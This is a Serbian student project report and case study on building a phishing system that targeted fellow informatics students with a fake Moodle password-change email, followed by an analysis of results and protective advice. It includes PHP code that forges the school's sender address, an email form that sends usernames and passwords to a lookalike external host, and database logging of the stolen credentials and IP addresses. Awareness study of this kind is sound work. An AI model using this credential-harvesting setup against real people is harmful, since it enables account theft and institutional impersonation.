Tehnicka dokumentacija i studija slučaja o vidu internet prevare: Phishing. Predmet testiranja su studenti informatike. 20 poslatih email zahteva za promenu podataka, pročitajte rezultat. Prica pored tehničke pripreme jednog prostog sistema za phishing ispituje svest i obazrivost mladih it stručnjaka, ali takodje objašnjava i koje su mere zaštite od ove sve češće pojave.
SSO secure communication flow for web Oracle login
Studija slučaja - phishing
1. Tehnička dokumentacija projekta Pecanje (Phishing)
Iz predmeta :
PRAKTIČNA NASTAVA
Autor : Boban Lapčević
Mentor : Vladica Ubavić
2. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Vremenska linija razvoja projekta ili sadržaj:
Uvod(osnovni razvojni koncept)………………………………………………….1
Prvi funkcionalni prototip……………………………………………………………2
Admin panel I MVC……………………………………………………………………..3
Finalne faze projekta…………………………………………………………………...4
Analiza(studija slučaja)……………………………………….………………………5
3. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
1.Osovni razvojni koncept
Dobili smo zadatak, zbog našeg interesovanja za web tehnologije, da odradimo jedan drugačiji I praktično
orijentisan projekat, koji će imati za cilj povećanje svesti mladih informatičara o prisutnosti informatičkih
napada, njihovoj važnosti i mogućem curenju naših informacija, prvo u vidu lozinki a kasnije I indetifikaciju
napadača sa žrtvom, šta I kako posle napada, ali najveći akcenat je postavljen na to, šta uraditi da ne dodje
do problema?
Za rad smo dobili najčešći, veoma popularan internet napad nazvan phishing za IT, ustvari proisteklo iz
phishing) ili pecanje, gde je cilj da se korisnik navede da on “sam svojom voljom” (ne pažnjom) preda tj
pošalje napadaču svoje kompromitujuće ili bezbednostne informacije koje se nalaze u sistemima čiji pristup
on kao žrtva omogućava napadaču.
Da bi smo postigli što bolji efekat, odlučili smo da priču pretvorimo u stvarnost I shodno mom poznavanju
web tehnologija napravimo jedan potpuni sistem za Fishing I da testiramo svest naših starijih kolega sa
informatičkog smera.
Za test aplikaciju, apstrakovao sam sistem koji počinje primljenim e-mail-om od strane naše skripte koji
predstavlja “mamac” na kome stoji poruka koja bi trebala steći poverenje korisnika I u isto vreme da bude
dovoljno upečatljiva za iznudu informacija.Odabrali smo da prikupimo lozinke poznate platforme za učenje,
pa je poruka bila shodna tom sistemu, konkretno, ažuriranje moodle platforme. Prvi zadatak je bio pronaći
prigodno mesto gde će se sam sistem nalaziti kao i uslov da postoji instaliran Mail server sa koga bi smo
poslali naše poruke korisnicima. Pri otvaranju poruke korisnik vidi zahtev za promenu lozinke I link za
promenu lozinke. Vodjeni zakonom verovatnoće u samom mail-u smo ubacili forme za direktnu promenu
lozinke koji adresira na akciju koja upisuje podatke u html fajl I u bazu podataka. Na kraju tog procesa
potrebno je da administrator stekne uvid u uspešnost projekta, ali isto tako I neuspešnost ili nesvesnost
ciljane grupe studenata, koja olako poveravaju svoje podatke pristignutim mail-ovima. Za ovaj projekat
koristićemo PHP verzije 5.5.12 Apache server verzije: 2.4.9 MySql tip baze podataka na zakupljenom
nezavisnom privatnom serveru.
2.Prvi funkcionalni prototip
Prvo je bilo potrebno da se napravi dizajn koji će svojim izgledom biti što približniji stilu školskog lms-
sistema, odmah posle apstrakcije bacio sam se na html/css, pravio screenshot-ove, da bih stekao sliku kako bi
4. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
to trebalo da izgleda I šta sve, jedan takav sistem, bi trebao da ima. Posle pravljenja skice projekta imali smo
tačnu sliku kakav sistem želimo da realizujemo , i kojom tehnologijom. Za dizajn stranice iskoristio sam
potpuno iste stil fajlove koje koristi I školski vebsajt tj moodle platforma, opcijom view source u browser-u
dodelio sam svojoj stranici linkove ka css fajlovima platforme za učenje. Naravno sve je trebalo promeniti u
cilju funkcije našeg sistema a to je promena lozinke pa su dodata polja korisničko ime, stara lozinka, nova
lozinka I potvrdite novu lozinku.
Aplikacija pecanje treba početi uvek, naravno, od slanja e-mail adrese. Posle konfigurisanja mail-servera na
svom novom hostingu sam napisao posebnu skriptu za slanje email-a koja malo odstupa od uobičajene
skripte za e-mail. Da ova skripta koristi istu PHP funkciju kao I ostale, funkciju mail(), medjutim u ovoj
skripti je bilo potrebno naznačiti da se u njoj:
1.Izvršava HTML
2.Izvršava CSS
3.Da se ćirilica enkodira pravilno I po pravim standardima
4.I naravno da se sakrije pravi identitet sa koga je mail poslat (bar na prvi pogled korisnika)
$headers = “MIME-Version: 1.0rn”;
5. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
$headers .= "Content-type: text/html; charset=iso-8859-1rn";
$to = 'example@example.com';
$from = 'admin@vpskp.edu.rs';
$subject = 'Lms - Ažuriranje podataka';
$body = '<!DOCTYPE html>
<html lang="en">
… Dalje u telu sajta postavimo polja I adresiramo formu na spoljnu akciju na serveru koja će posle submit-a
riderektovati I izvršiti funkciju za upis podataka u bazu. Pošto u email-u se css, kao poseban style jezik ne
prihvata morali smo da koristimo stariju verziju html tagova koja su danas odbačene, ali ipak se izvršavaju I
da preko njih pošaljemo css mail-u I da se izvrši u poruci.
Send_mail.php
<form action="http://vpskp.edu.mwi.si/action.php" method="post">
Korisnicko ime :
<input required name="username" type="text" style="background:#f2f2f2; padding:5px; border:1px solid
#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Korisničko ime">
Vaša lozinka :
<input required name="password" type="password" style=" background:#f2f2f2; padding:5px; border:1px
solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Stara lozinka">
Nova lozinka :
<input required name="newpass" type="password" style=" background:#f2f2f2; padding:5px; border:1px
solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Nova lozinka">
Ponovite lozinku :
<input required name="passtr" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid
#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Ponovite lozinku">
<div style="text-align:center;">
<input
type="submit" style="color:#fff; border-radius:5px; width:90%; text-align:center; -webkit-border-radius:5px; -
6. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
moz-border-radius: 5px; background:#5e7f79; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px
#949494; font-weight:bold;">
</div>
</div>
</form>
I naravno na kraju mail funkcija sa svim vrednostima koje smo pripremili :
mail($to, $subject, $body, $headers, "-f$from");
Najčešći problem koji se javlja pri samom slanju mail-a ovakve vrste osim skrivanja identiteta koji se rešava
jednim –f ispred varijable $from jeste i pravilna enkripcija na svim mail sistemima .Mail sistem Outlook kao i
yahoo ima specifičnu vrstu enkripcije i možemo dobiti mail kao što je prikazano na slici iznad.
7. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Posle upoznavanja sa specifičnostima svakog sistema u $headers varijabli smo promenili standardni utf8 u
iso-8859-1 i time dobili zadovoljavajući rezultat. Mail je uspešno stizao na odredište kao i više mail-ova.
PDO MYSQL bibliotekom smo uspostavili vezu sa bazom, a pored toga iskoristili i funkciju file_put_contest
za duplirani unos podataka u html fajl, kako bi lako mogli da pročitamo podatke koje smo uneli.
SQL upit je izgledao otprilike ovako : INSERT INTO datas(username, pass, newpass, verpass,date_submit,
IP_adress) VALUES (:username, :pass, :newpass, :verpass, :date_submit, :IP_adress)
Gde se može videti da sam pored ostalih informacija preuzeo i zabeležio korisničku IP adresu na osnovu čega
bih kasnije odredio broj unikatnih posetilaca sajta i izveo detaljnije statističke informacije.
Nakon svega testirali smo projekat Pecanje po prvi put u školi glumeći napadače i žrtve i dobili odgovarajuće
rezultate, to je bio potpuno funkcionalni prototip naše aplikacije.
3.Admin panel I MVC
Posle svakog prototipa, koji predstavlja celokupnu zamisao i pokriva sve obaveze koje dati sistem ima da
izvrši, potrebno je razraditi ideju vrlo pažljivo i organizovati podatke na taj način da se i posle mnogo linija
koda programer snadje za eventualnu nadogradnju softvera ili možda ispravku i slično. Posle zadatka da se
napravi još i admin panel, pristupio sam projektu ozbiljnije i uključio u plan nove funkcionalnosti koje treba
da dodam u sistem a to su:
1.Login Sistem (Autentifikacija)
2..htaccess
3.Generisanje liste
4.Forme za slanje e-mail zahteva
5. Početna - statistika
6.i Odjavljivanje sa platforme
Zato tražimo način na koji ćemo iskoristiti prednosti objektnog orijentisanog programiranja i napraviti od
svih tih klasa, referenci, nasledjivanja jednu skladnu celinu.
Pre nego što počenmo sa MVC-om moramo reći našem serveru na kome radimo da nam prepiše url i da
podesimo da kroz url ne pristupamo direktno fajlu kroz ime i ekstenziju već kroz url pristupamo klasi i u
8. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
njenoj __construct metodi toj funkciji ili u PHP-u ako je ime funkcije ista kao i ime klase ta funkcija se
automatski izvršava i bez pozivanja reference te funkcije posebno.
Ovako izgleda moj .htaccess fajl za projekat pecanje:
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^(.+)$ index.php?url=$1 [QSA,L]
Naveli smo samo neke od objekata koje se moraju isprogramirati. Pošto sama veličina aplikacije nije
komplikovana, zato nisam imao potrebu za korišćenjem nekih framework-a poput CodeIgniter-a ili Symfony
i slično. Napisao sam zbog potpune jasnoće i mogućnosti objašnjenja najprostiji mogući sopstveni MVC
frejmvork. MVC jeste model koji svrstava sve fajlove našeg PHP projekta otprilike u direktorijume : Model,
View i Controller i još neke pomoćne direktorijume... U model-u čuvamo komplikovane PHP funkcije koje
komuniciraju sa bazom. Controller nam omogućava pozivanje funkcija kao npr generisanje model-a i view-a
za svaki url tj app.com/url posebno, tako da nam se za npr
Example.com/index
Poziva ista ta funkcija sa tim imenom u controller-u index.php a controller poziva funkciju iz view-a koja
generiše fajl: index.php u folderu view/index folderu...
Za example.com/dashboard
9. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Generiše dashboard stil u view/dashboard/index.php, i tako redom...
Na datoj slici vidimo sublime editor i levu traku u kojoj je struktura našeg projekta
Config – U folderu config čuvamo konfiguracione fajlove kao što su domen servera, ime baze, lozinka, ime
korisnika...
Controllers – Svaka stranica mora imati svoj controller fajl koji će pozivajući se da generiše potrebne funkcije
svaki Controller počinje sa class ImeKontrolera()...
Libs – libs folder sadrži biblioteke od kojih je najavžnija npr bootstrap(gnezdo programa, tu je ceo kod koji
pozivamo u index, regulišemo url-ove, podešavamo loader-e model-a, posebnih klasa i referenci itd.),
Models – u models folderu čuvamo login_model, dashboard_model ... U njima se u različitim funkcijama
definišu kodovi i upiti koji komuniciraju sa bazom.Kreiraju, brišu, edituju zapise...
Public – Sav css i javascript kod stavljamo u public folder, takodje i sav materijal koji ima veze sa stilom
stranice. U public folderu se nalaze obično tri podfoldera a to su:
10. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
-CSS
-JS
-Images
-Views u ovom folderu se čuvaju fajlovi koji u sebi sadrže html svih stranica koje load-ujemo tako da stil ,
generisanje koda iz funkcija zbog pregleda programiramo fajlove unutar ovog foldera.
Admin panel
Da bi razdvojili interfejs posetioca i interfejs administratora, kreiraćemo poseban folder, administrator u
kome ćemo iskodirati celu okruženje za administratora. U folderu kreiramo prvo htaccess fajl, i integrišemo
naš mvc model . Da bi korisnici uopšte mogli da se loguju pravimo index stranicu za njih sa formom koja cilja
na neki model, u ovom slučaju login_model i funkciju u njemu npr funkcija enter. Podatke iz forme
prosledimo u SQL upit i uporedimo ih u npr tabeli users da li postoji ukoliko ne postoje korisnici se vraćaju
na istu ili sličnu stranicu sa tekstualnom porukom o grešci. Ukoliko identični podaci postoje korisnik se
loguje i započinje svoju sesiju. Funkcijom session_start počinje gostovanje korisnika na stranici npr
dashboard i njegovo gostavanje ne prestaje sve dok se ne pokrene funkcija session_destroy koja uništava
11. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
sesiju i vraća korisnika na login stranicu. Na svakoj zaštićenoj stranici, dakle, koja je namenjena korisniku
nalazi se provera. Varijabla dobija informacije da li sesija postoji i nakon provere korisnik ostaje na stranici ili
se riderektuje napolje van zaštićene mreže.
Dalje nastavljamo po istom šablonu mvc da pišemo funkcije koje su nam potrebne za rad sistema, a to su:
Početna Generiše Statistiku
Lista Generiše listu korisničkih podataka
Pošta Generiše polje koja sadrži vrednost koliko zahteva želimo poslati, posle procedurisanja forme
generiše se toliki broj polja koliko smo uneli, i vrednost tih polja je uneta u $to varijablu PHP mail funkcije
koja se pokreće sa MAIL servera.
Odjava – Uništavanje sesije i riderekt na administrator početnu stranicu.
4.Statistika
Postoje mnogi dizajni grafikona na internetu koje možete besplatno koristiti u vašem projektu uz naravno
nešto umeća iz SQL-a kao i znanja da javascript kod iz tih grafikona generišete pomoću PHP-a sa ubačenim
podacima iz odredjene baze, tabele i slično. Ja sam iskoristio javascript biblioteku highcharts.com, koja sadrži
velik broj različitih vrsta grafikona, pita, barova, tabela i slično. Iako su vrlo osetljive na promene, tako da na
primer, kada pogrešite u generisanju koda, jednostavno nestane ceo grafikon,sve dok sami ne nadjete grešku
u kodu, dok kodirate u PHP-u imate izveštaje koje vas upućuju na grešku pa čak i kako da je otklonite.
12. FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Na ovoj slici je prikazana početna stranica našeg završnog Pecanje projekta koja u prvom bar-chart-u
prikazuje koliko jedinstvenih IP adresa se ukupno „upecalo“ za svaki dan posebno. Dok drugi bar pokazuje
koliko puta su ti jedinstveni korisnici pokušali da se uloguju misleći da njihovi podaci nisu tačni, ovo je dobar
pokazatelj za napadače jer više puta poklopljenih starih šifri čini taj podatak realnijim, tako da je napadač
siguran da ima pravu šifru u bazi koju može iskoristiti. Što je prikazano i tabelarno odmah ispod bar-chart-a.
U drugom segmentu desno prikazan je procenat upecanih korisnika od uzorka broja email-a koji smo poslali.
Ukupno je poslato 20 email zahteva, 12 zahteva je potvrdjeno što čini 60 procenta potvrdjenih phishing
zahteva.
Na poslednjom pie-chart slici možemo videti da je najviše upecanih bilo prvog dana, i da je svakim sledećim
danom padao broj upecanih osoba, što je uobičajeno za dobro odradjen internet napad.
5.Analiza slučaja
Obzirom da je u prva dva dana nakon slanja zahteva, odaziv bio 50%, možemo li da izvedemo statističku
pretpostavku koliko od 20 učesnika otvori e-mail u razmaku od tri dana? Koliko god taj odziv bio, ne može
biti ni u kom slučaju 100%... Napomenimo da neki od korisnika uopšte i ne koriste email adrese. Studija ovog
slučaja takodje je pokazala da prvog dana 4 jedinstvena korisnika su pokušala ukupno 19 puta da unesu svoje
podatke tako da je napadač poklapanjem unetih podataka sve više sigurniji u njihovu autentičnost. Uzeći u
obzir celokupnu dosadašnju statistiku 12 korisnika su ukupnoimala 51 pokušaj unosa informacija, što je 6,375
puta po korisniku. Ovo je mali eksperiment je pokazao koliko su i sami informatičari obazrivi na predaju
informacija, a kod običnog surfera danas rezultati uspešnosti phishing-a su još veći. Ovaj napad će još dugo
godina biti aktuelan i produktivan. Najbolje dokaze za to možemo videti na osnovu iskustva twitter-a kada su
prikupljeni podaci više od sto hiljada korisnika. Takodje to se vrlo često dešava i na google mail-ovima, gde je
to najčešći vid preuzimanja naloga. Na google mail-u postoji opcija prijavi kao phishing, koji je dosad jedini
vid odbrane (stavljanjem tog hosta na neku vrstu „crne liste google-a“, naravno, ukoliko je vaša prijava
opravdana). Jedini savet za one koje redovno proveravaju mail jeste da nikada ne menjaju podatke direktno
iz email poruke i da dobro provere url sajta gde ih vodi link, da li je (u vezi propusta twitter) u pitanju
twitter.com ili twitteri|.com .